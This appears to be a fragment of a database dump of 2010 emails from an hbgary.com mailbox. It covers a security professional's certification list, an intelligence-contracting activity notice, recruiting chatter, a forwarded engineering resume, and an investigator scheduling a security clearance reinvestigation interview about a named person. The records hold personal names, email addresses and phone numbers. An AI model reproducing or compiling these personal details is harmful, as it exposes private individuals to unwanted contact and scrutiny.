&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp;\r\n\r\nCISSP&nbsp;(Certified\r\nInformation Systems Security Professional)&nbsp;ISC2&nbsp;\r\n\r\nSCNP&nbsp;(Security\r\nCertified Network Professional) SCP\r\n\r\nCEH&nbsp;&nbsp;(Certified\r\nEthical Hacker) EC-Council&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nSCNS&nbsp;(Security\r\nCertified Network Specialist)&nbsp;SCP\r\n\r\nCNDA&nbsp;(Certified\r\nNetwork Defense Architect)\r\nEC-Council&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nSecurity+\r\n-&nbsp;CompTIA&nbsp;CIW&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nMCSA&nbsp;(Microsoft\r\nCertified Systems Administrator)\r\n\r\nCIW\r\n&nbsp;(Certified Internet Webmaster Associate) &nbsp;&nbsp; &nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n\r\nITIL&nbsp;(Information\r\nTechnology Infrastructure Library)&nbsp;EXIN &nbsp; &nbsp; &nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n\r\nIntrusion\r\nDetection In Depth -&nbsp;SANS&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n\r\nGlobal\r\nKnowledge Strategic Partnership\r\nTraining&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;\r\n\r\nRedhat\r\nLinux Essentials Certification&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n&nbsp;Learning\r\nTree International&nbsp;&nbsp;-&nbsp;Advanced TCP/IP Course\r\n\r\n&nbsp;NEXTEC\r\nInc. -&nbsp;Web Master Program Vocational Certification &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp;&nbsp;\r\n\r\n&nbsp;&nbsp;\r\n\r\nSKILLS:\r\n\r\n&nbsp;Air\r\nDefense Wireless Security&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nCheckpoint\r\nFirewall&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nLancope\r\nADS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nRedHat\r\nLinux &nbsp; &nbsp;&nbsp;\r\n\r\nAppScan/HP\r\nWeb Scanners&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nCisco\r\nIDM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nMicrosoft\r\nActive Dir&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nSnort\r\n\r\nArcSight\r\nSIM&nbsp;\r\n\r\nEnterasys\r\nSIM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nMicrosoft\r\nSMS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nSourceFire\r\nIDS\r\n\r\nBig\r\nFix Enterprise Manager &nbsp; &nbsp;&nbsp;\r\n\r\nForeScout\r\nNAC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;\r\n\r\nMS\r\nSQL Server 2005 &nbsp; &nbsp;&nbsp;\r\n\r\nVMware\r\n\r\nBlueCoat\r\nWAN optimization &nbsp; &nbsp;&nbsp;\r\n\r\nFoundstone\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;\r\n\r\nMySQL\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;\r\n\r\nWindows\r\n2003 Server\r\n\r\nCA\r\nService Desk &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;\r\n\r\nISS\r\nSite Protector IPS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nNessus&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n&nbsp;WireShark\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12290,'aaron_hbgary_com/12290.html'),(11430,'2010-09-08','arc@westfields.net','/aaron@hbgary.com/new/1297008637.M539702P14101Q6286.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Tuesday, 09/07/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO/COMM-Expedition (Announcement & Document Posting)\r\n\r\nNRO-MFCE (Announcement)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',7059,'aaron_hbgary_com/7059.html'),(11431,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008637.M62030P14101Q6284.eml','\"Shane Shook\" <sdshook@yahoo.com>','Re: E-Discovery','Arlington @tsaThank you.  SafeTravels.AaronSent from my iPhoneOn Sep 8, 2010, at 12:13 AM, Shane Shook &lt;sdshook@yahoo.com&gt; wrote:\r\nHi Aaron - still traveling, back in Malaysia for a couple of weeks again.\r\n \r\nI know quite a few people who might be able to help - where do you need the help?\r\n \r\n- Shane\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Shane Shook &lt;sdshook@yahoo.com&gt;\r\nSent: Tue, September 7, 2010 7:02:07 PMSubject: E-DiscoveryHi Shane,How was your trip?  Turns out everything went great for the Oracle PenTest we conducted.\r\nHave a question.  By chance you don&#39;t know anyone with E-discovery experience, TS clearance that would like to consider a contingent offer to work E-discovery for TSA? :)Thanks,Aaron\r\n\r\n',15474,'aaron_hbgary_com/15474.html'),(11432,'2010-09-08','\"Moore, Adrianne\" <adrianne.moore@usis.com>','/aaron@hbgary.com/new/1297008637.M813504P14101Q6287.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Jonathan George Security Clearance Investigation','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI have anytime open from 11:30-1:00 then&nbsp; anytime after 3:30. &nbsp;How\r\ndoes either of those sound. The meeting should only take approximately 5-10\r\nminutes.\r\n\r\n&nbsp;\r\n\r\nThank You\r\n\r\nAdrianne\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 07, 2010 10:11 PM\r\nTo: Moore, Adrianne\r\nSubject: Re: Jonathan George Security Clearance Investigation\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok how about later afternoon. &nbsp;I have a 10:30 to 11:30\r\nin Arlington on Glebe road, thats it for the day.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 3, 2010, at 1:17 PM, Moore, Adrianne wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNot a problem. I would appreciate if we could still meet. Next\r\nweek I have Thursday full open and most afternoons the rest of the week. I am\r\nlocated in Arlington but can come to your office if that works for you. I\r\nbelieve Jonathan said you were in the area? Thank You.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAdrianne Moore\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, September\r\n03, 2010 11:24 AM\r\nTo:&nbsp;Moore, Adrianne\r\nSubject:&nbsp;Re: Jonathan\r\nGeorge Security Clearance Investigation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSorry Adrianne,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI let this slip. &nbsp;Would you still like to set something\r\nup?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 24, 2010, at 12:45 PM, Moore, Adrianne wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMy name is Adrianne Moore and I am an Investigator with the\r\nUnited States Air Force. I am conducting a security clearance reinvestigation\r\nfor&nbsp;Jonathan George.&nbsp;Jonathan George&nbsp;listed you as a reference\r\nand provided me with your email address as he did not have your current phone\r\nnumber. If at all possible I would like to set up a time that we could meet for\r\na couple of minutes to speak about Jonathan George. My phone number is\r\n540-446-7074. I appreciate your help in this process.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThank You,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAdrianne Moore\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAdrianne Moore\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUSIS/Investigator\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n4000 Legato Rd\r\n2nd Floor Suite 200\r\nFairfax, VA 22033\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n(1-540)-446-7074\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nadrianne.moore@usis.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe information contained in\r\nand transmitted with this e-mail is confidential. It is intended only for the\r\nindividual or entity designated above. You are hereby notified that any\r\ndissemination, distribution, copying or use of or reliance on the information contained\r\nin and transmitted with this e-mail by or to anyone other than the recipient\r\ndesignated above by the sender is unauthorized and strictly prohibited. If you\r\nhave received this e-mail in error, please contact the sender immediately and\r\nnotify them that you received this in error. Any e-mail erroneously transmitted\r\nto you should be immediately destroyed. Thank you for your attention to this\r\nnote of confidentiality.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe information contained in and\r\ntransmitted with this e-mail is confidential. It is intended only for the\r\nindividual or entity designated above. You are hereby notified that any\r\ndissemination, distribution, copying or use of or reliance on the information\r\ncontained in and transmitted with this e-mail by or to anyone other than the\r\nrecipient designated above by the sender is unauthorized and strictly\r\nprohibited. If you have received this e-mail in error, please contact the\r\nsender immediately and notify them that you received this in error. Any e-mail\r\nerroneously transmitted to you should be immediately destroyed. Thank you for\r\nyour attention to this note of confidentiality.&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe information contained in and transmitted with this e-mail is confidential.  It is intended only for the individual or entity designated above. You are hereby notified that any dissemination, distribution, copying or use of or reliance on the information contained in and transmitted with this e-mail by or to anyone other than the recipient designated above by the sender is unauthorized and strictly prohibited.  If you have received this e-mail in error, please contact the sender immediately and notify them that you received this in error.  Any e-mail erroneously transmitted to you should be immediately destroyed.  Thank you for your attention to this note of confidentiality. \r\n\r\n\r\n\r\n\r\n\r\n\r\n',704,'aaron_hbgary_com/704.html'),(11433,'2010-09-08','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008638.M150948P14101Q6288.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: This guys resume rocks but better fit for forensics/IR','Great exp but needs 6 yrs and I can\'t see that much.  Am I missing something?\r\n\r\n\r\n-John \r\n\r\nVP\r\nDigital Management, Inc.\r\n301-346-6749 cell\r\n\r\nOn Sep 7, 2010, at 10:00 PM, Aaron Barr  wrote:\r\n\r\n> LOOKING FOR WORK BECAUSE:  Contract ended with his last company\r\n> \r\n> HE IS A: DSP/FPGA/Digital Design SME\r\n> \r\n> Objective\r\n> Obtain a challenging position utilizing my electrical, electronic, and signal processing engineering experiences.\r\n> \r\n> Education\r\n> University of Central Florida Orlando, Florida\r\n> Degree: Masters of Science May 2006\r\n> Major: Electrical Engineering\r\n> Track: Digital Signal Processing\r\n> Graduate courses completed: Advanced Computer Architecture, Random Processes, Digital Signal Processing, and Radar Applications, Parallel Computer Architecture, VLSI Design with Verilog, Discrete Signal Processing Applications, Adv Topics Computer Architecture.\r\n> \r\n> Southern Illinois University Carbondale, Illinois\r\n> Degree: Bachelor of Science May 1990\r\n> Major: Electrical Engineering,\r\n> Minor: Mathematics\r\n> \r\n> Experience\r\n> Macaulay Brown, Inc. San Antonio, Texas\r\n> Electrical Engineer V Jan 2009 –Jan 2010\r\n> Duties Include: Ida Pro / OillyDbg cryptographic analysis/synthesis, Xilinx FPGA bit-stream analysis, and hardware analysis, 40 hours Wind River RTOS training.\r\n> \r\n> TAC World Wide Consulting / Dell Computer, Inc. Austin, Texas\r\n> Contractor / Signal Integrity Engineer Jun 2008–Oct 2008\r\n> Duties Include: Hardware signal integrity analysis of DDR2, I2C, proprietary busses and circuits, schematic design, testing of serverprinted wire boards.\r\n> Symtx Test, Inc. Austin, Texas\r\n> Project Engineer III Sep 2007 –Jan 2008\r\n> Duties include: FPGA Design , Digital Signal Processing and Digital Hardware Design Embedded and hardware design and analysis, documentation, and VHDL Programming targeting Altera Stratix II, implementing Weather Doppler Radar digital signal processing algorithms, FPDP Array Storage Hard Drive Arrays, RF/IF Signal Processing, Matlab/Simulink Algorithm Development.\r\n> \r\n> Triple Crown Consulting / Rockwell Collins, Inc. Cedar Rapids, Iowa\r\n> Contractor / FPGA Designer Mar 2007 –Jun 2007\r\n> Duties include : Embedded and hardware design and analysis, documentation, and VHDL Programming targeting Altera Cyclone III, Xilinx VirtexE, Xilinx Virtex 4 FPGAs, implementing airbourne and ground based communication systems. EDA Tools used:Telelogic DOORS 8.1/DO-256, MG HDL Designer, Aretna Spyglass, Synopsis Simplicity, and Modelsim7.1, Matlab algorithm development.\r\n> \r\n> Volt Consulting / Rockwell Collins, Inc. Cedar Rapids, Iowa\r\n> Consultant / FPGA Designer Nov 2006–Dec 2006\r\n> Duties include: Hardware Design Analysis, Documentation, and VHDL Programming targeting two Altera MAX 7000 CPLDs.\r\n> \r\n> Oxford International Consulting / Luna Innovations, Inc. Blacksburg, Virginia\r\n> Contractor / FPGA Designer Oct 2006–Nov 2006\r\n> Duties include: VHDL programming targeting Altera Stratix II FPGA to be implemented in an ultrasonic imaging medical electronic device.\r\n> \r\n> University of Central Florida Orlando, Florida\r\n> Research Assistant May 2005–Dec 2005\r\n> Duties include: VHDL programming targeting a Xilinx Virtex II Pro FPGA, embedded in an Avnet Virtex II Pro Development Board.Two contracts were supported, a NASA project investigating evolvable hardware targeted for space borne applications, and an Air Force project investigating fragmentation, mutation and repair of FPGA hardware configurations the tools utilized for the task were:Matlab simulation, ModelSim XE 6.3.03i, and Xilinx Navigator 6.3.03i, and Xilinx SDK Embedded Development Kit 6.3.i . This work was performed concurrently during the year of 2005, while pursuing and completing a master’s degree in electrical engineering, specializing in digital signal processing. Additionally satisfied requirements MSCpE/Digital Architecture Track.\r\n> \r\n> System Pros / Oxford International Consulting / Sypris Electronics, Inc. Tampa, Florida\r\n> Contractor / FPGA Designer Sep 2004–Dec 2004\r\n> Duties include: VHDL programming targeting a Xilinx Spartan III FPGA for use in COMSEC Type 1 Trunk Encoder Encryption /Decryption / Cryptographic Unit, in compliance with Line Encryption Units standards being developed for the NSA, Army, and Navy. My assignment was exclusively to the KIV-19M program. Work experience with ARM 7 processor implementing cryptographic algorithms. The tools utilized for the task were: ModelSim XE, PE, SE, and Xilinx Navigator 6.3.\r\n> \r\n> ATI Consulting / Northrop-Grumman, Inc. Baltimore Maryland.\r\n> Contractor / FPGA Designer Sep 2003–Aug 2004\r\n> Duties include: FPGA, VHDL and analog and digital hardware design for airborne radar / electronic countermeasure systems.Additional duties include documentation, presentations, testing, and project scheduling for the Northrop Grumman EA6B III and the Northrop Grumman F18G. Worked with high speed digital design of a large Xilinx CPLD operating at 100MHz, and additional multiple clock domains of 25MHz, 50Mhz.\r\n> \r\n> Harris Corporation Corp. Palm Bay, Florida\r\n> Electrical Engineer II Apr 2000–Aug 2002\r\n> Duties Include : Digital design, VHDL programming and test benching, hardware flight integrity analysis / simulation, analysis of analog circuits, as well as increased basic understanding of signal processing, RF circuits, and antenna design. Additionally, experience was gained with embedded programming for the Motorola 68HC16, configuring a Data IO programmer, and utilizing basic pieces of test equipment. Acquired experience test benching VHDL for clearance project, Fibre-Channel Arbitrated Loop network for Advanced Joint Strike Fighter / Apache Helicopter. Additional experience includes: hardware flight integrity analysis for the Comanche Helicopter, VHDL test benching for a memory controller and VHDL programming, analysis, and design for a section of avideo digital pipeline algorithms. Presented results of simulation / analysis of a high speed design, as a preliminary design review for a VHDL project. Programmed Xilinx Virtex/VirtexE FPGAs, and received extensive training on Virtex 2 FPGAs, as well as Altera Quartus FPGAs. Additionally, was assigned to a prestigious project, Special Emphasis Team and produced a UNIX based distributed computing project, Matlab Algorithm development .\r\n> \r\n> \r\n> Lucent Technologies, Inc. Naperville, Illinois\r\n> Member Technical Staff 1 Dec 1997–Nov 1999\r\n> Duties include : C/UNIX programming for class 5E Lucent telecommunication switches, diagnostics, telecommunication related skills. Utilized a variety of proprietary tool sets used for software revision management. My responsibility included: POTS, ISDN, and proprietary optical diagnostics, switch configuration and testing, and new software development. Gained experience with basic telecom maintenance, and attended Lucent Lecture Series, Lucent Technical Roadmap Series, Department and Group meetings, and received 40 hours of Lucent technical education per year. Additional education includes forty hours of Visual C++/OOP utilizing MFC / COM.\r\n> \r\n> O’Brien Consulting / AT&T, Inc. Chicago, Illinois\r\n> Consultant / Telecom Designer May 1997–Oct 1997\r\n> Duties include : New fiber-optic layout of Chicago Metro and Chicago Suburban loops. Worked with engineering, and used AutoCAD 14, concurrently while attending University of Illinois at Chicago.\r\n> \r\n> Additional Work History Available Upon Request.\r\n> \r\n> \r\n> Skills\r\n> VHDL FPGA Verilog EDA Firmware Cryptography Digital\r\n> Analog PCB DSP Matlab C/C++ Linux Virtual OS\r\n> Assembler Telecom Controls PLC Filters TCL 6811\r\n> x86 Xilinx Altera Reconfiguration Testbench Signal Integrity UL\r\n> PSpice EDK Chipscope ISE Quartus DDR2 I2C\r\n> HDL Designer Symplicity ModelSim 800Mhz RF MathCAD POTS\r\n> ISDN RS232 RS485 Mil Std 1553 Virtex X Spartan X Cyclone X\r\n> Wind River RTOS FORTRAN BASIC SpecctraQuest 